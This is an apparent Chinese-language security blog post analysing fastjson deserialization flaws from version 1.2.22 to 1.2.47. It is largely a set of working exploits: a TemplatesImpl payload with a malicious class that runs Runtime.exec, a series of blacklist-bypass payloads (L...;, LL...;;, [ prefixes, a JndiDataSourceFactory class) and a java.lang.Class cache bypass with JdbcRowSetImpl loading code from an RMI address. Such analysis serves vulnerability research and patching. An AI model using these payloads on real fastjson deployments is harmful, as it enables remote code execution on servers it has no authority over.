fastjson反序列化
环境搭建
-
openjdk version "1.8.0_302"
-
创建maven项目,之后方便修改版本
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.22</version>
</dependency>
漏洞分析
反序列化过程
先写两个demo看看fastjson能干啥
//部分代码
//序列化 SerializerFeature.WriteClassName -> @type
String js = JSON.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println(js+line);
/*
getAge
getName
{"@type":"demo.User","age":18,"name":"b1ank"}
*/
//parse
Object obj2 = JSON.parse(js);
System.out.println(obj2.getClass().getName()+line);
/*
setAge
setName
demo.User
*/
//parseObject
Object obj3 = JSON.parseObject(js);
System.out.println(obj3.getClass().getName());
Object obj4 = JSON.parseObject(js,User.class);
System.out.println(obj4.getClass().getName());
/*
setAge
setName
getAge
getName
com.alibaba.fastjson.JSONObject
setAge
setName
demo.User
*/
可见,序列化的时候会执行getter
方法
有@type
属性的情况下:
-
parse
返回User
,并且会调用setter
方法 -
parseObject
返回JSONObject
,并且调用setter
和getter
方法
TemplatesImp利用链
在JSON.parseObject(payload,Feature.SupportNonPublicField);
下断点,不断跟进可以发现是在对json字符串做一些解析,像{
,"
等符号
在到DefaultJSONParser.parseObject()
时,发现解析出了@type
符合if条件就成功加载了实现构造好的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
再往下走就是对传入的类进行反序列化
跟进,在key="_bytecodes"
并且路过了多个if判断之后,和parser
一起被带入到了parseField
里
这里的“智能匹配”会将传入的key
做一些处理,比如将开头的 _
删除
key2 = key.replaceAll("_", "");
之后parser
、_bytecode
等payload相关被带入parseField
跟进去可以看到base64解码的过程
恶意类在这里被取出并且带到了setValue
当中,将value赋值到目的类当中
之后也会在setValue
这里调用getOutputProperties
在com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.java
的getOutputProperties
下个断点
return newTransformer().getOutputProperties();
贴一下poc
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["xxx"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}
_name
不为空就调用defineTransletClasses()
跟进,_tfactory
不能为空
看到在加载_bytecode
了
判断是否继承自AbstractTranslet
之后就是实例化了
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
贴一下恶意类
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Temp extends AbstractTranslet {
public Temp() throws IOException {
Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
Temp t = new Temp();
}
}
fastjson1.2.41
TypeUtils.loadClass
变成checkAutoType
,跟进发现黑名单其中包括com.sun
跟了几遍发现没开启AutoTypeSupport
的情况下最后都会抛出异常
所以后面都设置开启
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
loadClass
里对Lxxxxx;
这种类名做一个掐头去尾,所以将类名改为Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
来 绕过黑名单
看到上面还有一个if,payload改成[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
试试
根据报错添加字符
再加,成功弹计算器,最终payload为
{"@type":"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"[{,"_byte……
fastjson1.2.42
checkAutoType
里面增加了个奇怪的掐头去尾,测试一下发现也是去掉L
和;
public class TestL {
public static void main(String[] args) {
String className = "Ljust test;";
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
className = className.substring(1, className.length() - 1);
System.out.println(className);
}
}
}
//just test
原来的明文黑名单变成了hash
所以用LLcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;;
来绕过
fastjson1.2.43
checkAutoType
又加了个if,发现是判断LL开头
for (int i=0;i<256;i++){
for (int j=0;j<256;j++){
if (((-3750763034362895579L ^ (long)i) * 1099511628211L ^ (long)j) * 1099511628211L == 655656408941810501L) {
System.out.println((char) i+" "+(char) j);
}
}
}
//output: L L
用带[
的payload可绕过
fastjson1.2.45
这次变为判断是否为[
或者L
和;
开头
用不在黑名单里的类绕过
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}
fastjson1.2.47
这次用java.lang.Class
绕黑名单
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}
com.alibaba.fastjson.serializer.MiscCodec#deserialze
当中会对传入的val
做判断,所以进行loadClass
。如果传入的为InetAddress
等类的话,会对域名做解析(dnslog)
cache
为True的时候放入mapping,可以看到默认为true,然后就是下一轮checkAutoType
进黑名单的ifyou两个条件,因为事先放进了mapping,所以不会抛出异常。并且会将恶意类赋给clazz,之后就是弹计算器了